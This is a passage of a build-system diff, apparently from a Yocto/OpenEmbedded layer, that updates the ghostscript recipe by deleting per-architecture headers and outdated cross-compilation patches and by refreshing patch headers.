- return NULL;
- #endif
--
-- obj = alloc_obj(imem, (ulong) num_elements * elt_size,
-+ if (alloc_array_check_size(num_elements, elt_size, &lsize) == false)
-+ return NULL;
-+ obj = alloc_obj(imem, lsize,
- &st_bytes, ALLOC_DIRECT, cname);
-
- if_debug6m('A', mem, "[a%d:+b.]%s -bytes-*(%lu=%u*%u) = 0x%lx\n",
-@@ -1275,13 +1288,14 @@ i_alloc_byte_array_immovable(gs_memory_t * mem, uint num_elements,
- {
- gs_ref_memory_t * const imem = (gs_ref_memory_t *)mem;
- obj_header_t *obj;
--
-+ ulong lsize;
- #ifdef MEMENTO
- if (Memento_failThisEvent())
- return NULL;
- #endif
--
-- obj = alloc_obj(imem, (ulong) num_elements * elt_size,
-+ if (alloc_array_check_size(num_elements, elt_size, &lsize) == false)
-+ return NULL;
-+ obj = alloc_obj(imem, lsize,
- &st_bytes, ALLOC_IMMOVABLE | ALLOC_DIRECT,
- cname);
-
-@@ -1297,7 +1311,7 @@ i_alloc_struct_array(gs_memory_t * mem, uint num_elements,
- {
- gs_ref_memory_t * const imem = (gs_ref_memory_t *)mem;
- obj_header_t *obj;
--
-+ ulong lsize;
- #ifdef MEMENTO
- if (Memento_failThisEvent())
- return NULL;
-@@ -1311,9 +1325,9 @@ i_alloc_struct_array(gs_memory_t * mem, uint num_elements,
- return NULL; /* fail */
- }
- #endif
-- obj = alloc_obj(imem,
-- (ulong) num_elements * pstype->ssize,
-- pstype, ALLOC_DIRECT, cname);
-+ if (alloc_array_check_size(num_elements, pstype->ssize, &lsize) == false)
-+ return NULL;
-+ obj = alloc_obj(imem, lsize, pstype, ALLOC_DIRECT, cname);
- if_debug7m('A', mem, "[a%d:+<.]%s %s*(%lu=%u*%u) = 0x%lx\n",
- alloc_trace_space(imem), client_name_string(cname),
- struct_type_name_string(pstype),
-@@ -1327,16 +1341,16 @@ i_alloc_struct_array_immovable(gs_memory_t * mem, uint num_elements,
- {
- gs_ref_memory_t * const imem = (gs_ref_memory_t *)mem;
- obj_header_t *obj;
--
-+ ulong lsize;
- #ifdef MEMENTO
- if (Memento_failThisEvent())
- return NULL;
- #endif
-
- ALLOC_CHECK_SIZE(mem,pstype);
-- obj = alloc_obj(imem,
-- (ulong) num_elements * pstype->ssize,
-- pstype, ALLOC_IMMOVABLE | ALLOC_DIRECT, cname);
-+ if (alloc_array_check_size(num_elements, pstype->ssize, &lsize) == false)
-+ return NULL;
-+ obj = alloc_obj(imem, lsize, pstype, ALLOC_IMMOVABLE | ALLOC_DIRECT, cname);
- if_debug7m('A', mem, "[a%d|+<.]%s %s*(%lu=%u*%u) = 0x%lx\n",
- alloc_trace_space(imem), client_name_string(cname),
- struct_type_name_string(pstype),
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h
deleted file mode 100644
index e8772cd958..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h
deleted file mode 100644
index 359097f356..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
index c4794e7d8f..67f14bd368 100644
--- a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
+++ b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
@@ -1,14 +1,24 @@
-Remove hardcode path refer to host to avoid host contamination.
+From b36713c8f1ba0e5755b78845a433354a63663b1a Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Thu, 29 Mar 2018 16:02:05 +0800
+Subject: [PATCH] avoid host contamination
-Upstream-Status: Inappropriate [embedded specific]
+Remove hardcode path refer to host to avoid host contamination.
+Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Rebase to 9.23
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
+ devices/devs.mak | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/devices/devs.mak b/devices/devs.mak
-index 3070d2e..df663f0 100644
+index 186f704..88ab8c9 100644
--- a/devices/devs.mak
+++ b/devices/devs.mak
-@@ -546,7 +546,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
+@@ -397,7 +397,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
### NON PORTABLE, ONLY UNIX WITH GCC SUPPORT
$(DEVOBJ)X11.so : $(x11alt_) $(x11_) $(DEVS_MAK) $(MAKEDIRS)
diff --git a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch b/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
deleted file mode 100644
index d97d4ecd7d..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-base/genht.c: add a preprocessor define to allow fopen calling
-
-The commit in upstream:
-http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=773c69e46e70bdd5482676437dafd2ca83397643
-
-Replace all fopen calls with gp_fopen and add a preprocessor define so
-that any unintential calls directly to fopen will cause an error.
-
-Only exceptions are those in the platform specific code, and mkromfs.c.
-This patch add a preprocessor define to allow fopen calling in base/genht.c.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- base/genht.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/base/genht.c b/base/genht.c
-index 4b04085..cc82fff 100644
---- a/base/genht.c
-+++ b/base/genht.c
-@@ -16,6 +16,10 @@
-
- /* Generate C code for compiling halftones into ROM. */
- #include "malloc_.h"
-+
-+/* prevent gp.h from defining fopen */
-+#define fopen fopen
-+
- #include "stdio_.h"
- #include "string_.h"
- #include "gscdefs.h"
---
-1.8.1.2
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch b/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
deleted file mode 100644
index a1c9368cc9..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-Subject: [PATCH] Don't build-depend on libgcrypt, as nothing is used from it
-
-Backported from http://www.cups.org/strfiles.php/3308/cups-no-gcrypt.patch
-
-This addresses the cryto dependency seen during build.
-
-Upstream-Status: Backport
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
-
-Rebase the patch to ghostscript-9.15
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- cups/libs/cups/http-private.h | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/cups/libs/cups/http-private.h b/cups/libs/cups/http-private.h
-index 99a85c3..a674852 100644
---- a/cups/libs/cups/http-private.h
-+++ b/cups/libs/cups/http-private.h
-@@ -80,7 +80,6 @@ typedef int socklen_t;
- # elif defined HAVE_GNUTLS
- # include <gnutls/gnutls.h>
- # include <gnutls/x509.h>
--# include <gcrypt.h>
- # elif defined(HAVE_CDSASSL)
- # include <CoreFoundation/CoreFoundation.h>
- # include <Security/Security.h>
---
-1.9.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch
deleted file mode 100644
index e28a949bf7..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Import patch from windriver linux for cross compilation, and split patches
-into oe way under different directories such as i586, powerpc etc according
-to Richard's opinion.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-
-# Author: Chi Xu <chi.xu@windriver.com>
-# Date: Feb 26 2010
-# Summary: Generate arch.h for ppc32
-#
-
-diff -Nru ghostscript-8.64.orig/base/lib.mak ghostscript-8.64/base/lib.mak
---- ghostscript-8.64.orig/base/lib.mak 2010-02-10 10:30:02.000000000 +0800
-+++ ghostscript-8.64/base/lib.mak 2010-02-10 10:56:21.000000000 +0800
-@@ -67,8 +67,8 @@
- stdpre_h=$(GLSRC)stdpre.h $(stdpn_h)
- stdint__h=$(GLSRC)stdint_.h $(std_h)
-
--$(GLGEN)arch.h : $(GENARCH_XE)
-- $(EXP)$(GENARCH_XE) $(GLGEN)arch.h $(TARGET_ARCH_FILE)
-+##$(GLGEN)arch.h : $(GENARCH_XE)
-+## $(EXP)$(GENARCH_XE) $(GLGEN)arch.h $(TARGET_ARCH_FILE)
-
- # Platform interfaces
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
deleted file mode 100644
index 3ec3956402..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 14937d9247330065359ca0fb648c28dfa5c3b224 Mon Sep 17 00:00:00 2001
-From: Huang Qiyu <huangqy.fnst@cn.fujitsu.com>
-Date: Tue, 13 Dec 2016 18:16:41 +0900
-Subject: [PATCH] ghostscript-9.15-parallel-make
-
-From 767bdf8a412b0cce2b734998e9b7e55abeaf932c Mon Sep 17 00:00:00 2001
-From: Huang Qiyu <huangqy.fnst@cn.fujitsu.com>
-Date: Tue, 13 Dec 2016 17:55:54 +0900
-Subject: [PATCH] Robert Yang <liezhi.yang@windriver.com> Date: Fri, 30 Jan
-2015 00:40:22 -0800 Subject: [PATCH] contrib.mak: fix for parallel build
-
-Signed-off-by: Huang Qiyu <huangqy.fnst@cn.fujitsu.com>
-Upstream-Status: Pending
----
- contrib/contrib.mak | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/contrib/contrib.mak b/contrib/contrib.mak
-index 55415b3..0b6b5ae 100644
---- a/contrib/contrib.mak
-+++ b/contrib/contrib.mak
-@@ -1099,6 +1099,7 @@ $(DEVOBJ)dviprlib.$(OBJ) : $(JAPSRC)dviprlib.c $(JAPSRC)dviprlib.h \
- $(DEVCC) $(O_)$@ $(C_) $(JAPSRC)dviprlib.c
-
- extra-dmprt-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- $(INSTALL_DATA) $(JAPSRC)dmp_init.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)dmp_site.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)escp_24.src $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
-@@ -1267,6 +1268,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \
- ### ----------------- Additional .upp files ---------------- ###
-
- extra-upp-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- for f in $(CONTRIBSRC)uniprint$(D)*.upp; do \
- $(INSTALL_DATA) $$f $(DESTDIR)$(gsdatadir)$(D)lib || exit 1; \
- done
---
-2.7.4
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch
index d786482007..8c4a5d44e3 100644
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch
+++ b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch
@@ -1,7 +1,7 @@
-From 5d5c83c89be0cff29dde2267fa168e6f7146be8c Mon Sep 17 00:00:00 2001
+From c481b055cd464734a3c2d80719ead4c1c92a40c9 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Mon, 4 May 2015 22:31:48 -0700
-Subject: [PATCH] base/gendev.c: fix for -Werror=return-type
+Subject: [PATCH 02/10] base/gendev.c: fix for -Werror=return-type
Fixed:
base/gendev.c:80:1: error: return type defaults to 'int' [-Werror=return-type]
@@ -10,11 +10,11 @@ Upstream-Status: Pending
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
---
- base/gendev.c | 1 +
+ base/gendev.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/base/gendev.c b/base/gendev.c
-index 68a745f..8058b5a 100644
+index 59d5999..7766b08 100644
--- a/base/gendev.c
+++ b/base/gendev.c
@@ -77,6 +77,7 @@ static const char *indent_item = "";
@@ -26,5 +26,5 @@ index 68a745f..8058b5a 100644
{
config conf;
--
-1.7.9.5
+1.8.3.1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
deleted file mode 100644
index bff3e61763..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-ghostscript-native:fix disable-system-libtiff
-
-Modify configure to add the check to make sure
-ghostscrip could work while system-libtiff is
-disabled.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Updated to apply to ghostscript 9.21.
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-Upstream-Status: Pending
-
-
-
---- a/configure.ac
-+++ b/configure.ac
-@@ -1259,6 +1259,7 @@ case "x$with_system_libtiff" in
- esac
-
- if test x"$SHARE_LIBTIFF" = x"0" ; then
-+ if test -e $LIBTIFFDIR/configure; then
- echo "Running libtiff configure script..."
- olddir=`pwd`
- if ! test -d "$LIBTIFFCONFDIR" ; then
-@@ -1272,6 +1273,10 @@ if test x"$SHARE_LIBTIFF" = x"0" ; then
- cd "$olddir"
- echo
- echo "Continuing with Ghostscript configuration..."
-+ else
-+ AC_MSG_NOTICE([Could not find local copy of libtiff.
-+Disabling tiff output devices.])
-+ fi
- fi
-
- AC_SUBST(SHARE_LIBTIFF)
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
deleted file mode 100644
index f2c6d04e06..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
+++ /dev/null
@@ -1,96 +0,0 @@
-Just use commands provided by ghostscript-native, preventing recompile them when
-compile ghostscript.
-Way to enable cross compile.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-
-Rebase to 9.19
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Rebase to 9.21
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
---- a/base/unix-aux.mak
-+++ b/base/unix-aux.mak
-@@ -66,45 +66,45 @@ $(GLOBJ)gp_sysv.$(OBJ): $(GLSRC)gp_sysv.
-
- # -------------------------- Auxiliary programs --------------------------- #
-
--$(ECHOGS_XE): $(GLSRC)echogs.c $(AK) $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(ECHOGS_XE) $(GLSRC)echogs.c $(AUXEXTRALIBS)
--
-+#$(ECHOGS_XE): $(GLSRC)echogs.c $(AK) $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(ECHOGS_XE) $(GLSRC)echogs.c $(AUXEXTRALIBS)
-+#
- # On the RS/6000 (at least), compiling genarch.c with gcc with -O
- # produces a buggy executable.
--$(GENARCH_XE): $(GLSRC)genarch.c $(AK) $(GENARCH_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENARCH_XE) $(GLSRC)genarch.c $(AUXEXTRALIBS)
--
--$(GENCONF_XE): $(GLSRC)genconf.c $(AK) $(GENCONF_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENCONF_XE) $(GLSRC)genconf.c $(AUXEXTRALIBS)
--
--$(GENDEV_XE): $(GLSRC)gendev.c $(AK) $(GENDEV_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENDEV_XE) $(GLSRC)gendev.c $(AUXEXTRALIBS)
--
--$(GENHT_XE): $(GLSRC)genht.c $(AK) $(GENHT_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENHT_CFLAGS) $(O_)$(GENHT_XE) $(GLSRC)genht.c $(AUXEXTRALIBS)
--
-+#$(GENARCH_XE): $(GLSRC)genarch.c $(AK) $(GENARCH_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENARCH_XE) $(GLSRC)genarch.c $(AUXEXTRALIBS)
-+#
-+#$(GENCONF_XE): $(GLSRC)genconf.c $(AK) $(GENCONF_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENCONF_XE) $(GLSRC)genconf.c $(AUXEXTRALIBS)
-+#
-+#$(GENDEV_XE): $(GLSRC)gendev.c $(AK) $(GENDEV_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENDEV_XE) $(GLSRC)gendev.c $(AUXEXTRALIBS)
-+#
-+#$(GENHT_XE): $(GLSRC)genht.c $(AK) $(GENHT_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(GENHT_CFLAGS) $(O_)$(GENHT_XE) $(GLSRC)genht.c $(AUXEXTRALIBS)
-+#
- # To get GS to use the system zlib, you remove/hide the gs/zlib directory
- # which means that the mkromfs build can't find the zlib source it needs.
- # So it's split into two targets, one using the zlib source directly.....
--MKROMFS_OBJS_0=$(MKROMFS_ZLIB_OBJS) $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-- $(AUX)gscdefs.$(OBJ) $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ) $(AUX)memento.$(OBJ)
--
--$(MKROMFS_XE)_0: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_0) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_0 $(MKROMFS_OBJS_0) $(AUXEXTRALIBS)
--
-+#MKROMFS_OBJS_0=$(MKROMFS_ZLIB_OBJS) $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-+# $(AUX)gscdefs.$(OBJ) $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-+# $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ) $(AUX)memento.$(OBJ)
-+#
-+#$(MKROMFS_XE)_0: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_0) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_0 $(MKROMFS_OBJS_0) $(AUXEXTRALIBS)
-+#
- # .... and one using the zlib library linked via the command line
--MKROMFS_OBJS_1=$(AUX)gscdefs.$(OBJ) \
-- $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-- $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ)
--
--$(MKROMFS_XE)_1: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_1) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_1 $(MKROMFS_OBJS_1) $(AUXEXTRALIBS)
--
--$(MKROMFS_XE): $(MKROMFS_XE)_$(SHARE_ZLIB) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CP_) $(MKROMFS_XE)_$(SHARE_ZLIB) $(MKROMFS_XE)
--
-+#MKROMFS_OBJS_1=$(AUX)gscdefs.$(OBJ) \
-+# $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-+# $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-+# $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ)
-+#
-+#$(MKROMFS_XE)_1: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_1) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_1 $(MKROMFS_OBJS_1) $(AUXEXTRALIBS)
-+#
-+#$(MKROMFS_XE): $(MKROMFS_XE)_$(SHARE_ZLIB) $(UNIX_AUX_MAK) $(MAKEDIRS)
-+# $(CP_) $(MKROMFS_XE)_$(SHARE_ZLIB) $(MKROMFS_XE)
-+#
- # Query the environment to construct gconfig_.h.
- # These are all defined conditionally (except the JasPER one), so that
- # they can be overridden by settings from the configure script.
diff --git a/meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h
deleted file mode 100644
index 5817b7a6d7..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
